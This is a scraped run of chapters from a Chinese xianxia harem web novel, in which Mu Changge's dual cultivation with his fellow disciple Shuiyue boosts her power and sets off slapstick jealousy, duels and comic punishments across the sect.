师尊是圣主,怎会跟其他人共享道侣呢,可.... 慕前辈这样特殊的男人,是任何女人眼里的肥肉,谁能拒绝呢,不是连她这个圣女都来了? 男追女,隔座山,女追男,隔层纱。 记住本站: 再想到,以师尊的美貌但凡主动一点,撩人一点,魅惑一点,再以师尊擅长的手段,总是以大义出发。 帮助她就是帮助整个碧霄宫,那慕前辈就是想拒绝,恐怕都说不出口了啊。 想到这些的白熙苒,脸色越来越囧怕,再看到水月那玩味的笑,她深呼吸,“打、打扰了。” 她祭出飞剑,就要逃离这个窘迫之地,奈何慌张中没稳住身形,刚刚飞起的身影,就与地面来了个亲密接触,传回哎呦一声。 慕长歌捂了捂脑壳,一杯清茶淡饮入口,“碧霄不值得。” 唉! 这些女弟子真的是,那是想提升实力或者服侍他来的么? 他都不好意思拆穿,不就是看他这张脸帅气了点,还能变身个大肌肉什么的。 真的是,这一个个的女人,简直庸俗,肤浅。 就没人看看他的内在么,看了之后会发现...更强大。 慕长歌想着想着,脸上泛起一抹不正常的红润,连同嘴角挂上一抹晶莹,直到....水月迈动裙下修长美腿向她走来。 今日的水月与往日不同,那双玉足上踩着的既不是绣鞋,也不是由冰晶凝结的高跟鞋,而是一双赤红色镶嵌着鎏金的高跟鞋。 她步伐妖娆,每一步落下皆在地面上荡起层层涟漪。 “师兄~” 水月声音酥媚黏人,抬起手指勾住慕长歌下巴,“三日了,人家都没见过师兄了,可想人家呢~” 呃.... 慕长歌正要接话,这女人已然倒在他怀里,纤纤素手抚摸在他胸膛,“师兄心跳好快,不知在紧张些什么?” “这个....” 他轻咳一声,故意扭过头不看水月,“师兄怎会紧张呢,我有什么好紧张的,哈哈...哈哈哈...” 尴尬地笑过之后,慕长歌想骂上自己一声二。 本来没什么的,可他这般不自然,就有些此地无银三百两了。 别看水月这女人娇媚可人,实则此妞吃人不吐骨头,暗藏锋芒。 “那....” 水月看透不说透,依旧笑吟吟的,她点在那胸膛的指尖,泛着水蓝色的灵光,“跟圣主师姐那晚...可还愉快?” 她勾住他脖子,红唇凑近他耳垂,“比我如何....” 咕咚! 慕长歌吞咽着口水,道道都是送命题。 谁说女人多了令人羡慕? 那是他们没看到女人之间的争风吃醋,到底有多可怕。 “师兄怎的不说话了?” 记住本站: 此刻看去,慕长歌胸膛那处的衣袍渐渐凝结了一层冰霜,而且不止那处.... 慕长歌再度吞咽口水,讪笑,“师妹说什么呢,师兄怎么听不懂....看,飞碟!” 他指向天际,就要逃走,奈何被水月紧紧压制。 她双腿交叠,眼神勾起一抹疑惑,“何为飞碟...可是师兄想让小妹飞给你看?” 说到此处,她俏脸泛起一抹红润,又哀伤了叹了口气,“师兄可真是讨女孩子喜欢呢,即便那些弟子都争先要服侍你。” “师兄可否告诉小妹,我可如何是好呢?” 她抬起水润的眸子,内里流动着无数星光,但凡看上一眼,就会麻掉任何人,“师兄你听,小妹这心里压力可大呢~” 握草! 慕长歌一个僵硬。 这三日不见,水月这妮子不是又在偷偷研究啥修炼秘诀吧? 小妮子啊,你说说你,好好的正经修炼你不要,怎么就偏偏研究这些歪门邪道。 你这让师兄可怎么....越来越喜欢了.... 他握住水月的皓腕,那张正经的脸上,眼神却截然不同,“师妹此言差矣,带给你压力的从来不是心。” “可师兄的压力,人家感受不到了呢。” 水月勾起风情一笑,“万一师兄再喜欢上门中某个弟子,那小妹的心得不到关爱,是会枯萎的,我又该如何做呢?” 她似笑非笑,指尖灵光流转,浮现出一物,“这个东西小妹可为师兄准备许久了呢,不知师兄可喜欢?” 那是一件通体莹润的玉质器物,形似亵裤又比寻常亵裤精致百倍,表面流转着淡蓝色符文,蕴含着一股禁锢之力。 慕长歌口水艰难滑过喉结,额头沁出了细密汗珠。 水月...听我说谢谢你,有你温暖了师兄的四季。 这东西要是穿在身上,那就彻底废了啊。 “师兄可还喜欢?” 水月红唇微翘,眼中闪烁着光芒,“此物用北海玄冰为基,辅以三十六道禁锢符文,只要戴上...唯有小妹亲自解锁...” 望着慕长歌脸上额头汗水密密麻麻,她笑意愈发浓郁,“不如师兄告诉我,这三日你在太上长老那里做了什么?” “……” 水月啊水月,字字温声细语,可就是没啥子温度。 “叮!检测到宿主面临窘境,本统特来相助。” “一,乖乖就范,获得称号驯服的灵兽。” “二,强势反制,本统将以激发水月潜力,升级气运值的方式奖励宿主。” 记住本站: 第196章 桃林星辉藏鸾凤,洞虚无劫惑青云 就这两个选项,傻子都知道怎么做,只不过慕长歌懵圈的是.... “系统,你能激活潜力,升级气运值?” 有这种能力,狗系统倒是早说啊。 他将身边那些气运之女,逐一给她们升级潜力就是了,自己还能一次性得到更很高的气运值返还。 “叮!检测到宿主所思所想,本统表示遗憾,激发潜力需特殊情况,以及气运值作为兑换。” “激发潜力消耗气运值数额最低15万,本统会根据不同的气运之女,做出不同的消耗,且需宿主建立双修羁绊为基础。” “本统会杜绝宿主,做出一切亏本买卖行为。” “……” 说白了,这狗系统不就是想让她残害人家娇俏小女修去呗。 慕长歌没好气地道,“那为何水月不用消耗气运值,就可以激发潜力?” “水月对宿主的占有欲以达上限,符合系统激活条件。” “……” 他又问了句,南宫媚儿为何不曾激发潜力。 结果不出意外,慕长歌再一次遭遇系统的反向嘲讽,无非骂他匹夫,千年修仙修到了狗肚子里。 南宫媚儿一身潜力已达上限,无需激活。 至于昭阳本就身有龙气,加之孕育了子嗣,更无需激发潜力,只需静候脱胎换骨。 季清影则是有先祖丹魂融入了自身血脉,随着修为提升,潜力自会激发些许。 倒是水月由于常年压制寒息,尚有许多潜力能够开发,只要将这些潜力开发出来,修为必然精进。 慕长歌深吸一口气,指尖挥动便将那名为冰心锁玉的法器打掉,转而捏住水月下巴。 她一声惊呼,头枕着慕长歌一条腿,心跳加速地看着他。 “师妹,男人的事女人少问为好,可懂?” 慕长歌勾唇一笑,“为兄这就告诉你,如何做好一个小女人!” 随后,他只是看了眼灵器,眼中亮起一抹灵光,只听轰的一声,那器物已然自爆。 水月暗自心惊,一件地阶灵宝,对于师兄而言,毁掉仅是一个念头的事。 器心通明恐怖如斯。 不过....接下来惊恐的就是她了。 夕阳将两人的身影拉得很长,只隐约看到水月的裙摆随着步伐晃动,露出一截莹润的小腿,以及... 那双踩着高跟鞋的玉足,不自觉地绷紧,足弓弯出来的曲线。 房间内,灵光笼罩,看不清其他。最终化作一片玲珑光幕。 转眼间,几个时辰。 记住本站: 桃林陷入黑暗,随着夜空中的星光照耀其中,洒落点点星辉。 “叮!恭喜宿主激活水月潜力,当前气运值提升至20万,已尽数返还宿主!” “水月当前修为已提升至洞虚二阶,恭喜宿主获得150%修为反哺,当前修为法相境十阶!” 当两股不灵力充斥着两人体内,一股舒适至极的暖流,分别扩散开来,水月更是轻嗯一声。 良久后,灵光散去。 水月侧躺在床,秀发拨弄着盘膝而坐的慕长歌。 “师兄兄~” 她拖长了尾音,声音酥得能滴出蜜。 慕长歌肩膀不可察地抖了抖。 下一秒。 一双手环绕了过去,下巴搁置在他肩膀。 “你对人家做了什么啊~” 她指尖在其胸膛画着圈圈,“我的修为怎么提升了那么多,而且...我感应不到天劫呢?” 水月简直匪夷所思,她原本的修为在法相六阶,且突破不久,即便专心闭关,以她如今进境。 与师兄苦修之下,少说也要一月之久,才能突破到下个阶段,可师兄这次归来之后,又带给她不一样的惊喜。 她的修为在这几个时辰内突飞猛进,似乎自身被开发出了潜力,从而让她念头通达。 慕长歌强装镇定,“嗯...可能是天道看师妹你如此貌美,有些不忍降雷劫劈你。” 扑哧! 水月忍不住一笑,“师兄好会骗人,骗得人家心干情愿...不过没关系,我愿为师兄赴汤蹈火...” “师妹言....” 慕长歌话未说完,就被她的手指堵住了嘴巴。 那对玉足在夜色中泛着莹润光泽,足尖勾出弧度,“师妹既得了好处,又岂可不反馈师兄?” “师妹...大可不...” 话音再一次被淹没。 只不过这次,是萦绕着两人的灵光。 天地间的灵气,快速向着桃林方向汇聚,这番动静甚至惊动了整个碧霄宫。 数不清的弟子以及某些长老从闭关中睁开双目,纷纷来到广场,他们看到后山的上空,萦绕着无比纯净浓郁的灵气。 “这...又发生了什么?” 方长满目骇然。 他趁着圣主闭关感悟大道,本想让自己的修为再进一步,可到了突破的关键点,忽然发现灵力空了。 记住本站: 这合理吗? 白熙苒咬着银牙,“我怎么知道,要不你自己过去看看!” 她一道闪身消失原地。 方长撇了撇嘴,女人就是莫名其妙,尤其是白熙苒这个女人,绝对不可理喻。 莫青云抬头看天,轻叹着气,“碧霄不值得啊...” 他何尝感受不到那是来自水月的气息,也不知慕老登用了什么方式,才一而再,再而三使得水月突破,可显然那不是他能问的。 只是觉得莫名的心塞,谁让女人占尽了先天优势,偏偏这个慕老登极讨女人喜爱,就是圣主都不例外。 等等! 他若没感知错的话,那应当是洞虚境的气息,可天劫呢,怎么连跟毛都没有? 莫青云皱了皱眉,仰天呢喃了句,“贼老天,你死了吗?” 轰咔! 一道天雷就此落下,极其凶悍地劈在了他身上。 莫青云猝不及防,被劈了个外焦里嫩,口冒黑烟。 “快看那边方向,是莫长老在渡劫!” “哈哈,真的耶,莫长老要突破晋升法相境了!” “等等,法相境有天劫吗?” 不远处,几名巡查的弟子,互相看了眼彼此,又眼睁睁望着莫青云直挺挺地倒了下去。 “碧霄...不值得....” 莫青云流泪。 莫青云闭眼。 莫青云昏厥。 那几名巡查的弟子见状,连忙赶过去救人,就是有个人不小心踩到了他的手指。 一声嚎叫响彻夜空,吓得那几人连忙丢下莫青云就逃。 可怜这位执法长老刚被抬起来,就摔在了青石板上,气得吐血晕了过去。 砰砰砰! 又是几道天雷落下,每劈一下,他就抽搐几下。 这一幕,搞得众人皆被吸引了视线。 方长满脸呆滞,莫长老这是做了何等亏心事,竟然遭了天谴? 听说他在为人正直的外表下,隐藏了一下邪恶的心,与正常人不同,无论蛇马牛羊只要是母的,那就别想清白逃离他的掌心。 呵...tui! 记住本站: 渣宰! 方长又想到自己曾在灵草从偷偷方便,被抓进执法戒律堂吊打了一天一夜,登时气不打一处来。 他居高临下望着莫青云,抬脚就要在他脸上狠狠踩踏一下。 然—— “方长,你要干什么!” “咳...莫长老,你看我鞋好看不?” “……” 天剑锋。 雷烈一脸肃穆地望着桃林。 到底是慕师兄啊。 “清霜,你怎么哭了?” 回过头,他一脸懵。 冷清霜摇头,“感动!” “???” 记住本站: 第197章 玉足丹蔻点床沿,师兄墓前说没逝 莫名其妙。 这丫头感动个什么劲儿,自家大弟子什么时候和水月师妹关系这么好了? 带着疑问,雷烈又看向陆婉莹,“你呢?” “我...” 陆婉莹撇了撇嘴,哇的一声就哭了,“我眼里进沙子了!” 她抹着泪,追赶了冷清霜,“师姐,等等我,你帮我吹吹!” 雷烈无奈扶额,好端端的,自家两个弟子都不正常了。 他看了眼面无表情的白芷,拍了拍胸膛。 还好还好。 总算有个弟子是正常的。 “师父,弟子可否求您件事?” 闻言。 雷烈哈哈一笑,大手拍着她肩膀,“尽管说,无有不允!” 她默默掏出一枚丹药,轻轻一捏,递给了雷烈。 轰! 一声炸响,猝不及防的雷烈哀嚎着飞了出去。 逆徒啊! 全是逆徒! 竟敢用爆裂丹炸师父,以后一定要杜绝陆婉莹继续炼丹了。 身为天剑锋弟子,不钻研剑术学炼丹他忍了,小有所成更是将爆裂丹这种东西,时不时拿他这个师父做实验。 白芷啊。 他的二弟子,多么乖巧的女孩,全让陆婉莹那臭丫头给带坏了! “心情好多了。” 望着雷烈飞出去的身影,她红唇微勾,转而漫步消失在月色下。 一座寂静的小院中。 林婉儿站在房顶之上,风掀起裙摆,展露着两条修长的美腿。 “前辈...” 她说不上自己什么感受,就是觉得本该属于自己的东西,接连被其他人给抢走了,又深感无力。 无论是水月,亦或是圣主,都不是她一个小小的弟子能比的。 如果水月和圣主,知道她跟前辈发生过非比寻常的事,反倒会给前辈惹了麻烦。 记住本站: “林婉儿,你应当知足才是。” 她轻声呢喃,告诫着自己。 毕竟当初前辈只是为了帮她突破修为,才会那样做。 甚至....在前辈归来那日,自己都未被他注意到。 或许,从始至终,她只是他生命里的一个过客,碧霄宫内一名微不足道的小弟子。 月光下。 她抹干眼泪,手中灵光闪烁,握住一柄长剑。 剑身雷霆萦绕,悍然劈下。 恰好,雷烈跌落院中,为剑势命中。 “你...逆徒....” 雷烈口吐黑烟,欲哭无泪,吓得林婉儿赶忙收起长剑,跑过去搀扶。 此情此景,雷烈只想说上一句。 碧霄...不值得... 破天峰。 “师尊...恭喜....” 苏沉鱼望着桃林方向,低声呢喃。 虽然她是打心底祝福水月,但内心深处又不禁在想,这个男人若不是师尊的道侣该有多好。 那样,她就有机会了,可现在... 苏沉鱼心里很乱,不知道自己该怎么做。 她看了眼手里的冰魄剑,舞起了九天玄女剑舞,似乎只有这样,才能忘却自己的烦恼。 更何况师尊将她视如己出,虽是弟子,却一直拿她当做亲妹妹对待,自己又岂能做对不起她的事。 这一刻,苏沉鱼心境乱了,剑舞依旧很美,奈何失去了灵魂。 不远处,沈碧瑶望着上空挥舞剑势的苏沉鱼,轻咬着下唇。 苏沉鱼的心思她不知道,可从她的剑势中,看出这与平日那个以嬉笑示人的大师姐截然不同。 她从剑势中感受到了落寞,感受到了凄苦,以及还有一丝她说不出的情愫在内。 大师姐的心境乱了,她从未感受过如此复杂的剑意。 是因为他吗? 沈碧瑶看向桃林,咬紧了下唇,泛起了白色。 踏仙途,问长生。 她永远忘不了慕长歌对她说的这几个字。 记住本站: 如此,即便眼下没有机会,并不代表未来同样这般。 待到有朝一日,自己站得足够高之时,自有资格留在他身边。 月光将沈碧瑶的背影拉得绵长.... 若能常伴君左右,不负此生不负秋。 这便是她今后修行的目标。 修行不记日,眨眼就是一个月,这期间水月根本不曾离开过慕长歌的桃林,慕长歌也没机会走出过屋门。 每日每夜不是在修炼,就是继续下一波修炼的路上。 终于,这一日的清晨,桃林散去了所有灵光。 慕长歌跌跌撞撞地爬了下去,颤抖着双腿穿好了衣服。 “师兄~” 水月侧卧在略显凌乱的床榻,单手托腮,另一只手的指尖缠绕着一缕青丝。 那对玉足在阳光投射下泛着珍珠般的光泽,足尖有一下没一下地轻点着床沿,十趾如贝,丹蔻似樱。 她声音里带着餍足后的慵懒,“你不要紧吧,怎么站不稳了呢,可要小妹扶你一下?” 扶字入耳,慕长歌没来由打了个寒颤。 他僵硬回头,对上水月那双含着笑意的眸子,阳光为她镀上一层光辉,衬得那张俏脸愈发娇艳欲滴。 “墓前没逝。” 他讪笑,“那个,师妹啊,差不多就得了,再修炼下去,你师兄可就要英年早逝了。” 慕长歌望着床榻上的妖孽女子,心中百感交集。 这妮子一个月前还只是法相六阶,如今却已踏入洞虚六阶,这等修为连叶灵曦都超越了。 世人谁不知,修真一途,越到后面进阶越难,有些人终其一生卡在法相境无法寸进。 水月倒好,跟他修炼的这一个月,修为如坐火箭蹿升,现在居然还不知足。 “我不信~” 水月轻笑一声,玉足轻点床沿,她红唇微嘟,“要不师兄,我们再试试,说不定人家还能突破呢?” 她晃了晃那双修长美腿,足尖勾起一道诱人弧线,望着自己抬起的修长,水月勾了勾唇。 一个月来,不知道环绕了多少次。 “……” 慕长歌脸色僵硬,再试试就真的逝世了。 就在激发了这女人的潜力,从而进阶洞虚境界,水月对于修炼的勤奋程度,简直超乎想象,恨不能吸干他所有价值。 最可怕的是,到了第六阶后,水月察觉到修为增长放缓,不但没有及时调息,反而变本加厉,似是要把之前落下的修行全部补回来。 唉! 记住本站: 慕长歌叹了口气,“师妹,需知欲速则不达,修行也是讲究沉淀的,如此浅显的道理,自是无需师兄告诉你。” “师兄是说...人家太贪心了?” 她咬着下唇,眼中水光潋滟。 慕长歌正要点头,却见她自床榻而落,赤足踩在地面,三步并作两步扑到他身前。 她扬起小脸,吐气如兰,“是师兄太可口,岂可怪人家,谁能挡住修为提升的快乐呢?” 伴随着指尖点在胸膛的触感,慕长歌浑身一僵。 噗嗤! 银铃声响彻。 “师兄莫不是怕了小妹?” 她歪着头,一脸的天真无邪。 慕长歌差点咬碎了后糟牙。 就这女人,谁不怕? 但真男人向来不只是嘴硬,区区激将法而已,他只是不想上当。 正想找理由溜走,却感知到了一道熟悉的气息来到了桃林。 水月轻咦一声,脸上的妩媚全然不见,转而一笑,“气息尚未稳固,看样子师姐的修为也突破了呢。” 她转而面向慕长歌,笑得耐人寻味,“师兄,就算我肯放过你,圣主师姐可就不一定了哦~” 握草!(一种植物) 叶灵曦要是看到了水月这身修为,他可就成了修行的炉鼎。 慕长歌人麻了。 走! 必须走! 再不走就来不及了。 “师妹,那个为兄尚有要事,失陪了!” 说完,不等水月反应,慕长歌掐了个遁诀,又使了敛息术。 “逃了呢~” 水月望着房门外,看了眼自己凌乱的衣裙,非但不整理,反而弄乱了几分,就那样侧卧在床。 师姐要是进来,看到她这个样子...有趣... 记住本站: 第198章 白衣踏剑威压露,红裙卧榻战意燃 桃林深处,一袭白衣的叶灵曦,踏着剑光而来,周身萦绕着尚未完全收敛的洞虚五阶威压。 房门前,她眉梢几不可察地蹙了蹙。 洞虚六阶! 屋内传来的气息,让她指尖微颤,这怎么可能,水月的提升怎会这般恐怖? 门扉无风自开。 映入眼帘的是,侧卧在床榻的水月。 她青丝如瀑散落,衣衫半解,指尖绕着一缕发丝把玩。 见叶灵曦进来,她红唇勾起一抹妩媚弧度。 “小妹恭喜师姐出关哦~” 那声音甜得出蜜,眼中却闪烁着狡黠。 叶灵曦目光在屋内扫过,眉心拧得更紧,“他呢?” “逃了。” 水月轻笑,足尖微微勾起,“特别是感应到师姐来了,逃得更快了,咯咯咯...” 她打了个响指,姿态更显慵懒,“悄悄告诉师姐,师兄为了帮我提升修为,可真是不留余力呢~” 最后几个字咬得极轻,反倒像是重锤敲击在胸口。 叶灵曦袖中素手紧握,面上不显分毫,“看来师妹这一个月过得甚是充实,不过拔苗助长未免根基不稳。” “那师姐不如帮小妹稳固一下境界如何?” 水月起身,也不再笑吟吟的,反而战意凛然,“小妹也想试试如今的修为,亦是无需师姐再压制境界。” 这算什么? 炫耀吗? 叶灵曦岂会惯着她这个,那便让这丫头了解一下,即便她修为落后一阶,输赢尚未可知。 两人视线交汇,空气凝固了一瞬。 随后,一红一白两道流光跃入桃林上空。 叶灵曦以指化剑,一道冰霜巨剑凭空凝聚,水月则双手结印,身后浮现九条水龙虚影。 轰! 两人美眸微眯,顷刻间出手。 剑势与水龙轰然相撞,恐怖的灵力冲击,呈环形扩散,连带着整个碧霄宫为之一颤。 广场上空。 众多长老看到这一幕无不骇然,可没人敢去阻止。 “这架势,是要拆了碧霄宫啊。” 雷烈戳了戳莫青云,贼眉鼠眼地笑道,“老莫,你身为执法长老,确定不去阻止?” “哼,我眼瞎,我耳聋,看不见也听不见。” 莫青云抖了抖胡子,瞥了眼雷烈,“要不你去试试?” “切,关我什么事。” 雷烈双手抱胸。 女人之间的事,绝对不能掺和,尤其争风吃醋中的女人。 到底是慕师兄啊。 就这魅力,谁人能挡? 唉! 苦了慕师兄,除非再次离开桃林,否则想清净可就难喽。 而且...水月那女人,真动起手比他还要疯,更别提如今的修为,比起圣主还高了一阶。 “那啥,老莫,这次的事多谢了。” 雷烈晃了晃手中的蓝皮功法,郑重行了一礼。 这部功法是他和莫青云两人,翻遍了整个碧霄宫,历时半年之久,才找到适合林婉儿修炼的心法。 虽然将林婉儿收入门下时,自家师兄好似传授过功法,但到底自己才是那丫头的师父,又岂能什么都不做。 见状,莫青云挑着眼角眉梢,“呵...想不到老夫有一日会有幸受你雷疯子一礼,我不是看你的面子,而是不忍宗门弟子埋没。” 他缕着胡须,心里暗暗得意。 如此,这个雷疯子可就欠了他一个人情。 该说不说,雷烈这家伙平日混账了些,可对于自家弟子,那也是没得说。 更何况林婉儿曾得到过慕师兄的指点,他趁机帮上一次,说不定慕师兄也能对他心存感激。 如若林婉儿和那老登再有点非凡的关系,那这感激岂不就无限放大了? 莫青云不知道想到了啥,老脸渐渐泛红,笑容渐渐猥琐。 当然,这种事根本不可能发生,以慕老登的秉性,岂会对门中弟子下手。 “雷疯子,事不宜迟,碧霄宫的未来,还要指望这些新弟子。” 莫青云收敛笑容后,一脸严肃。 雷烈点了点头,掏出一枚珍藏的丹药,递到他手里,“此丹或可助你突破修为。” 他拍了拍莫青云的肩膀,遁起了一道流光。 走之前,他叹了口气。 雷烈看似跟个没事人,实则心里压力很大。 他堂堂天剑锋首座,修为落后于比自己入门晚的水月就算了,可这修为差距大到了如同天堑。 本以为晋升了法相能够扬眉吐气,可没想到这么快,再一次被水月碾压到了尘埃里。 他已然决定将天剑锋交给冷清霜打理,自己去闭关提升修为。 高空中的战斗愈发激烈,叶灵曦脚踏青莲,剑冻虚空。 水月如水中精灵,身形飘忽不定,每一次出手皆蕴含着水灵之力,两人从天上打到地下,又从云层战至山巅。 所过之处或冰封千里,或暴雨倾盆。 慕长歌在一处隐蔽的密林,看着上方接连不断变化的景象,轻声叹着气,“打吧打吧,打够了就不打了。” 他瞥过目光,视线所及之处,正是天剑锋。 在他消失之后,一道身影出现在原地,来人一袭雪白的长裙,眸光闪烁。 她仰头望着那两道纵横交错的身影,眼中满是羡慕与不甘。 为何自己就没有这样的机会,她是圣女,早晚要成为碧霄宫的圣主,可慕前辈为何不肯帮她? 而且.... 白熙苒小脸一红,她这身姿色,在宗门内屈指一数,又是主动开口...亦无需他负责什么的... “呦,好巧,这不是白师妹么?” 方长不知何时凑了过来,贱兮兮笑道,“你说桃林是否存在某种秘境,否则慕前辈这么多年,为何要住在那个灵气稀薄之地?” 他咂着嘴,“看看人家水月仙尊,还有咱们圣主,又有哪个不是去过前辈那里,就修为大进的?” “我怎么知道!” 白熙苒胸口剧烈起伏,眼神凶煞地瞪着方长,声音尖锐到把自己吓了一跳。 方长不恼,似笑非笑,“师妹这般激动做什么?莫非...你偷偷拜访过慕前辈,只是被拒绝了?” “你!” 白熙苒俏脸涨红,粉拳握得咯吱作响。 她斜睨了眼方长,轻哼一声,身影化作了流光。 望着白熙苒吃瘪,方长捧腹大笑,不成想一道剑气自他背后袭来,轰的一声炸响。 尽管方长反应及时,可挡不住全身衣袍被炸了个稀巴烂。 “来人啊,圣子耍流氓了!” 一道娇喝围绕着密林上空扩散开来,那声音不是白熙苒还是谁。 方长感受到数道气息飞掠而来,咬牙大骂了句,却不敢停留,连忙施展遁术逃离。 等到他突破化神,非要狠狠抽这女人一顿,也好让她知道,自己为什么叫方长! 想到那女人跪地求饶的画面,方长心中就是一阵畅快。 遁出去没多远,一道流光飞来,化作金色绳索,将他捆了个结实,从半空栽了下来。 “白熙苒,你玩阴的!” 方长涨红了脸,像条蚯蚓在地上扭动。 “圣子当众裸奔,成何体统啊?” 伴随着戏谑的声音,莫青云背着手慢悠悠走来。 他眼睛在方长身上扫来扫去,“小子,没想到报应这么快吧?” “……” 要不要这么衰。 人要倒霉,喝口凉水也塞牙。 第199章 雷烈怒问采花贼,长歌轻抚泪中人 “莫长老,误会,都是误会!” 方长努力摆出严肃表情,“我可是圣子,你们这样不太好吧?” 他示意莫青云给他松绑。 莫青云蹲下身,拍了拍他脸,“既是圣子,又岂能不顾形象,光着屁股满山跑?” 他起身,板起脸,“来人啊,把圣子带去戒律堂吊打一千锤!” 这小子,真以为他不知道,不就是十年前被他抓住在灵药圃撒尿,带走吊打了一千锤。 于是就想着各种报复他,还想趁着他被雷劈,踩上他一脚。 哼! 幼稚! 他可是执法长老,化神境大能,岂能栽在一个小辈手里? 几名戒律堂弟子立刻上前,七手八脚将方长抬了起来。 方长顿时慌了,“等等!莫长老,你不能这么做!我可是圣主的暗卫,担任保护圣主之责!” 他从这老货的眼神里,看到了不安好心,就这一千锤下去,非要脱层皮不可。 莫青云充耳不闻,背着手踱步,“圣子是宗门的未来,你们可要好好招呼。” 他特意在好好两个字加重了音。 又从储物戒中掏出一把布满尖刺的黑锤,随手丢给为首的弟子,“用这个打,效果更好。” “莫长老,你这是公报私仇!” 方长头皮发麻,那锤子是个地阶灵宝。 这要是挨上一千下,他就千疮百孔了,喝点水都能去浇花。 “圣子说什么?老夫年纪大了,耳朵不好使。” 他掏了掏耳朵,转头对弟子们嘱咐,“对了,圣子皮糙肉厚,记得用力点打,打轻了,老夫亲自来,毕竟调戏圣女乃重罪。” “我什么时候调戏...唔....” 话音未落,方长的嘴巴就被一块抹布给塞住了。 他支吾着,表情里各种抗议。 说他调戏白熙苒,敢不敢再扯淡一点。 他连那女人一根毛都没看过,哪来的调戏! 一路上,方长由莫青云亲自跟随一众弟子押送,且有多慢就走多慢,甚至还多绕了几圈。 路过广场时,不少女弟子掩面惊呼,男弟子则暗笑不止。 方师兄真的是。 上一次,夜晚裸奔。 这一次,直接换成了白日。 “活该!” 白熙苒满意地看着这一幕,拍了拍手,转身化作流光消失。 不过,她小脸有些泛红。 这厮是讨厌了点,可一身修为还有这身材....确实不错。 戒律堂内。 “嗷!别打那里,老子还要传宗接代!” “匹夫,我记住你了!” “碧霄...不值得啊!!!” 惨叫声回荡在山谷间,惊起一群飞鸟,路过的弟子无不缩了缩脖子,暗自告诫自己千万别栽在莫长老手里。 天剑锋,广场。 冷清霜正带着一众师弟师妹修炼剑术。 当那火红色的身影自空而落,她停下手中动作,让一众弟子散去,各自领悟其中的精髓。 很快,一众人等纷纷逃离,唯独留下几女。 虽说由大师姐带他们练剑,欣赏这位冰仙子以及二师姐白芷,还有小师姐陆婉莹,以及小师妹林婉儿是种享受。 可要是看入神,不小心打错了剑招,那是会被直接抽飞的。 “师父,您回来了。” 冷清霜迎了上去。 雷烈嗯了一声,哈哈笑着来到林婉儿跟前,“丫头,看看为师给你找到了什么?” 他拿出那部功法,“此法名为玉阙忘情诀,应当适合你修行,不过...这门功法有个要求。” 望着众人疑惑的眼神,雷烈继续道,“此法需要处子之身方可修行,你这丫头肯定没问题。” “小师妹,师父对你可真好,还不收下?” 陆婉莹上前推了她一下。 白芷也笑吟吟道,“去吧,小师妹,师父的心意岂可辜负了?” 冷清霜一并向她点头微笑。 林婉儿咬着薄唇,依旧静止原地,“师父...要不..算了吧,慕前辈传给我的心法挺好的。” “哼,他给的是他的,岂能与为师赐予的混为一谈?” 雷烈挑眉,面露不悦,“就这样决定了,你这样丫头无需跟为师客气,就让我看看你与这功法的契合程度。” 随着雷烈手掐法诀,玉阙忘情诀悬浮半空,散发出莹莹白光,将林婉儿笼罩其中。 他一边施法一边解释,“这可是地阶极品功法,契合度检测会根据自身显现不同光芒。” “白色最佳,代表完美契合,青色次之,红色最差。” 他自信满满,“以婉儿的资质,至少也是白...白....” 雷烈声音突然卡壳,眼睛瞪得像铜铃。 光幕中,林婉儿头顶赫然出现一抹... 粉色! “不可能!” “绝对不可能!” 雷烈捂住胸口踉跄退了几步。 冷清霜皱眉,“师父,粉色代表什么?” “粉色代表...” 雷烈如遭雷击,木讷地说了句,“非完逼之身。” 他的婉儿啊! 到底哪个王八蛋干的! 冷清霜三人一并呆愣。 一片死寂。 小师妹入门虽晚,性子洁身自好,自从进入天剑锋,始终将精力用在修行之上,根本不会接触其他男人。 难道是.... 想到某种可能,三女心中同时一窒,又不约而同地看向林婉儿,似是要寻求个答案。 这个时候的雷烈已然扑了过去,双手紧紧按住她的肩膀。 “告诉为师,是哪个王八羔子干的,老子要把他剁碎了喂灵兽!” 雷烈目眦欲裂,暴跳如雷。 他好不容易找来了契合这丫头的功法,且以这丫头的资质,天剑锋的将来,必添一位法相境大能。 可现在,这丫头居然失了清白。 林婉儿被晃得头晕,咬着唇摇头,“师父...您别问了,我不会说的。” 轰咔! 不说? 这丫头是在维护谁! 雷烈抓狂地揪住自己头发,他突然顿住,“是不是方长?是不是那小子!” 翻遍整个碧霄宫,最为出色的男弟子,就只有那小子,而且自家弟子个个眼高于顶。 除了方长能入眼之外,他想不到其他人。 林婉儿咬着薄唇,抹了抹红彤彤的眼眶。 “丫头,你告诉为师,那个人究竟是谁。” 雷烈一阵揪心。 他深吸一口气,不得不耐着性子,“我天剑锋的弟子岂能任人欺辱,既然做了那就给我负责到底,就算是方长那小子也不例外。” “我...师父...” 林婉儿小脸一阵涨红,跺了跺脚,“怎么可能是方师兄嘛,我又不喜欢他...” 她再也忍不住,转身就要跑开。 只是—— 她撞进一个温暖的怀抱,熟悉的气息让她娇躯一颤。 抬头时,睫毛上还挂着泪珠,“前...前辈...” 林婉儿有些不敢置信,抱住她的人,居然是慕长歌,他是专程来天剑锋看自己的么? 她多么希望自己的猜测是真的,可她不过是个小弟子,前辈又岂会来这里专程看她? “乖。” 慕长歌轻抚她发丝,抬眼看向雷烈,眸光骤冷,“雷师弟,你欺负她了?” “师兄啊,这丫头我宝贝还来不及,就是打死我,又岂可欺负她?” 雷烈痛心疾首,指着那团尚未消散的粉色灵光,“别让我知道谁干的,不然我要他好看!” 慕长歌皱眉,看了眼依旧悬浮在虚空的玉阙忘情诀。 “我知道。” 他低头替林婉儿擦拭眼泪,“丫头,委屈你了,以后不会了。” 林婉儿再也绷不住,哇地哭出声,死死抱住慕长歌,小脸埋在他胸前蹭得乱七八糟。 第200章 夜叩香闺携娇去,雷疯画圈咒师兄 果然是...他... 这一刻,冷清霜倍受冲击,小脸泛起五颜六色,心中更说不出什么感受。 她想到李长风曾说过的话,原以为只是抹黑慕前辈,如今看来,倒是有个十之八九的可能。 否则又怎么解释,前辈此刻对待这丫头的亲昵姿态。 自己真是失败呢... 水月和圣主就算了,可林婉儿...她原本只是个外门弟子。 倒是陆婉莹有一样的表情,她先是吃惊,而后忍不住挑了个大拇指,偷偷看到的林婉儿,小脸一阵羞红。 还得是小师妹,先斩后奏。 等等,这是被抓包了,她们才知道这个重磅消息。 只是什么时候的事? 林婉儿在来了天剑锋没多久,前辈就离开了宗门。 那就必然是在....之前! 因此,陆婉莹得出一个结论,那就是或许她第一次见这个师妹时,她就失去了清白。 哇偶! 